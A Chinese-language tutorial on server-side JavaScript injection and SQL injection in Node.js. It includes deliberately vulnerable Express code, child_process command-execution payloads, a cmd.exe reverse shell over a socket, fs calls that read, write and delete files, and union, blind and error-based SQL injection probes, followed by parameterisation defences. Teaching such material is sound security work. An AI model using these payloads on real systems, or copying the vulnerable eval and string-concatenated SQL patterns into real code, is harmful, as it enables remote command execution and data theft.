SSJI - Node.js漏洞介紹
一、SSJI簡介
ssji,為服務器端的javascript注入,可分為sql注入和代碼注入
運行于服務端的javascript常用的有node.js
node.js 是運行于服務端的javascript
把javascript變為服務器端的腳本語言
二、SSJI代碼注入
SSJI代碼注入原理
SSJI 代碼注入是一個存在于javascript端的代碼注入,存在于運行于服務端的js代碼注入,當傳入的參數可控且沒有過濾時,就會產生漏洞,攻擊者可以利用js函數執行惡意js代碼
SSJI代碼注入常用函數
node.js 常用的命令執行函數,由于它是運行于服務端的javascript,因此它使用的函數和javascript的相似
常用函數如下
eval() settimeout() setinterval() function()
首先看下這里的eval函數
eval
函數格式eval(string)
javascript的eval作用就是計算某個字符串,并執行其中的js代碼
測試代碼
var express = require("express");
var app = express();
app.get('/',function(req,res){
res.send(eval(req.query.a));
console.log(req.query.a);
})
app.listen(3002);
console.log('Server runing at http://127.0.0.1:3002/');
這里的參數a通過get傳參的方式傳入運行,我們傳入參數會被當作代碼去執行
這里傳入一個console.log()的查看效果,console.log的作用是在控制臺查看回顯

看到這里能在控制臺回顯數據
function()
函數用法
function(string)()
這里的string就是我們傳入的參數
這里的function用法類似于php里的create_function
這里用一個簡單的測試代碼測試下function是否可以執行代碼
var express = require("express");
var app = express();
var aaa=Function("console.log('Hello world')")();
var server = app.listen(3088,function(){
console.log("應用實例,訪問地址為 http://127.0.0.1:3088/");
})

實際測試時,當傳入參數可控時,可能造成代碼執行漏洞
settimeout()
函數格式
settimeout(function,time)
該函數作用是兩秒后執行函數
function處為我們可控的參數
測試代碼
var express = require("express");
var app = express();
setTimeout(()=>{
console.log("console.log('Hello world')");
},2000);
var server = app.listen(8888,function(){
console.log("應用實例,訪問地址為 http://127.0.0.1:8888/");
})
兩秒后執行
函數測試效果如下

當這里為一個可控的傳參時,漏洞就可能觸發
setInterval() 函數
函數格式(function,time)
該函數的作用是每個兩秒執行一次代碼
測試代碼
var express = require("express");
var app = express();
setInterval(()=>{
console.log("console.log('Hello world')");
},2000);
var server = app.listen(8866,function(){
console.log("應用實例,訪問地址為 http://127.0.0.1:8866/");
})
函數測試如下

當這里的function處為可控傳參時,漏洞就有可能觸發
SSJI代碼注入實際運用
在實際情況下遇到該怎么運用呢?
1.利用process模塊進行命令執行
process的作用是提供當前node.js進程信息并對其進行控制
這里用的比較多的,是通過child_process,即子進程區域使用,這里它的子進程可以使用更多的服務器資源
child_process下有許多不同的方法,分別為exec,forx,spawn,execfile這些
常用的有exec去執行命令
exec 用子進程執行命令,可以通過回調參數來獲得執行結果
格式 exec(命令 參數,回調函數)(實際使用可以不加回調函數)
execfile 不用于執行命令,執行一個可執行文件
實際利用時,在第一個參數位置執行shell命令,類似exec
格式1 execfile(命令,{shell:true}) {shell:true} 為開啟命令執行的指令
spawn 用于執行命令,但不需要獲取執行結果
格式 spawn(命令,{shell:true}) 和execFile一樣,需要開啟命令執行的指令
fork 用于執行js文件,實際利用中需要提前寫入惡意文件
fork 格式 fork(js文件(包含路徑))
exec
測試命令
exec: require('child_process').exec('calc');
效果如下

execFile
測試命令如下
require('child_process').execFile("calc",{shell:true});
效果如下

彈出了計算器
fork
測試命令如下
require('child_process').fork("./555/hahaha/test92.js");
效果如下

spawn
測試代碼
require(‘child_process’).spawn(“calc”,{shell:true});
效果如下

2.寫shell
這里也可以寫一個反彈shell
var net = require("net"),
sh = require("child_process").exec("cmd.exe");
var client =new net.Socket();
client.connect(3000,"127.0.0.1",function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
通過child_process 去建立一個連接,同時運行cmd
效果如下
首先開啟監聽

再運行node.js

通過url去傳入代碼

效果如下

得到了目標cmd
3.通過調用核心模塊fs去讀取和寫入文件
fs是node.js的文件系統模塊,可以通過此模塊來讀取和寫入文件
常用方法
語句作用eaddir(path,callback)讀取目錄rmdir(path,callback)刪除目錄readFile(fd,buffer,offset,length,position,callback)讀取文件writeFile(file,data[, options],callback)寫入文件
這里方法又分為同步方法和異步方法
同步方法執行完并返回結果后才執行代碼,異步方法使用回調函數接受返回結果,可以立刻執行代碼,這里使用同步方法更加合適,同步方法寫法簡單,在方法后加上Sync即為同步方法
實際操作的話,需要足夠的權限
這里使用同步操作的方法去使用
readdirSync
示例命令:
測試代碼
res.end(require('fs').readdirSync('.').toString())
效果如下

writeFileSync
測試代碼
res.end(require('fs').writeFileSync('./cvb.txt','123456').toString());
效果如下

雖然報錯,但還是成功寫入

rmdirSync
測試代碼
res.end(require('fs').rmdirSync('./1234').toString());
原有文件夾 1234

執行后
報錯

但是文件夾被刪除

readFileSync
res.end(require('fs').readFileSync('./write1.txt').toString());
效果如下

三、node.js sql注入
node.js編寫的程序里,也可能存在sql注入,node.js作為一個運行于服務端的javascript后端腳本語言,支持的數據庫有 sqlserver,mysql,sqlite,oracle等數據庫,這里就用mysql舉例
原理
和其他語言里存在sql注入漏洞的原因一樣,都是沒有對用戶的輸入做限制,當用戶可控輸入和原本程序要執行代碼,拼接用戶輸入且當作SQL語句去執行
測試
node.js的sql注入和php這些都差不多,都是缺少對特殊字符的驗證,用戶可控輸入和原本執行的代碼,拼接用戶輸入且帶入數據庫中當作代碼執行,這里驗證node.js代碼如果沒有做限制就會存在SQL注入
測試代碼
var mysql = require('mysql');
var express = require("express");
const app = express();
var db = mysql.createConnection({
host :'localhost',
user :'root',
password :'root',
database :'test'
});
db.connect();
app.get('/hello/:id',(req,res)=>{
let sql=`select * from user where id= ${req.params.id}`;
db.query(sql,(err,result)=>{
if(err){
console.log(err);
res.send(err)
}else{
console.log(result);
res.send(result)
}
})
});
app.listen(3018, () => {
console.log(‘Server runing at http://127.0.0.1:3018/‘);
})
首先訪問測試站點

得到id為1時的數據
這里測試和一般的sql注入一樣
首先判斷下
語句 and 1=1 & and 1=2
看and 1=1的效果

再看下and 1=2的效果

沒有輸出
聯合查詢
首先判斷字段
還是mysql數據庫的,用order by 判斷

判斷出字段數為3
用聯合查詢的方式判斷顯錯位

(這里由于測試的代碼原因,都會顯示到頁面上)
測試sql語句
查詢庫名
查詢表名
查詢字段
查詢數據

不僅是聯合查詢,其他諸如像盲注這些也可以使用
盲注測試
測試語句
and ascii(substr((select database()),1,1))>1

測試語句
and ascii(substr((select database()),1,1))>1000
報錯注入
測試語句
and updatexml(‘1’,concat(‘~’,(select database())),’1’)

如何防止SQL注入
SQL注入這類問題就是因為沒有做好過濾和對傳參的控制所導致的,那么node.js里如何防止SQL注入問題,主要用到了3個方法
1.escape() 參數編碼
node.js里的escape函數用于編碼目標字符串,在sql語句拼接輸入時,將sql語句編碼來起到防止sql注入
測試代碼
var mysql = require('mysql');
var express = require("express");
const app = express();
var db = mysql.createConnection({
host :'localhost',
user :'root',
password :'root',
database :'test'
});
db.connect();
app.get('/hello/:id',(req,res)=>{
req.params.id = escape(req.params.id)
let sql=`select * from user where id= ${req.params.id}`;
db.query(sql,(err,result)=>{
if(err){
console.log(err);
}else{
console.log(result);
res.send(result)
}
})
});
app.listen(3019,()=>{
console.log('Server runing at http://127.0.0.1:3019/');
})
查詢后報錯

這里直接將查詢語句編碼后放入數據庫查詢報錯
2.connection.query() 查詢參數占位符
通過查詢參數占位符的方法來起到繞過效果,通過占位符來達到防止sql注入的方法
采用?替換查詢參數中的變量
var mysql = require('mysql');
var express = require("express");
const app = express();
var db = mysql.createConnection({
host :'localhost',
user :'root',
password :'root',
database :'test'
});
db.connect();
app.get('/hello/:id',(req,res)=>{
db.query({
sql:'select * from user where id = ?',
values:[req.params.id],
},
function(err,result){
console.log(result);
res.send(result)
})
});
app.listen(3020,()=>{
console.log('Server runing at http://127.0.0.1:3020/');
});

后續的查詢語句無效,只查詢了參數內容
3.mysql.format 轉義
mysql.format用于轉義參數,該函數會自動選擇合適的方法轉義參數
var mysql = require('mysql');
var express = require("express");
const app = express();
var db = mysql.createConnection({
host :'localhost',
user :'root',
password :'root',
database :'test'
});
db.connect();
app.get('/hello/:id',(req,res)=>{
var sql="select * from user where id= ?";
var inserts =[req.params.id];
sql=mysql.format(sql,inserts);
db.query(sql,(err,result)=>{
if(err){
console.log(err);
}else{
console.log(result);
res.send(result)
}
})
});
app.listen(3021,()=>{
console.log('Server runing at http://127.0.0.1:3021/');
})

只查詢了id參數相關內容,后面的sql語句內容無效
參考連接
https://www.mi1k7ea.com/2020/03/29/%E6%B5%85%E6%9E%90Node-js%E5%AE%89%E5%85%A8/#SQL%E6%B3%A8%E5%85%A5
https://labs.secforce.com/posts/server-side-javascript-injection/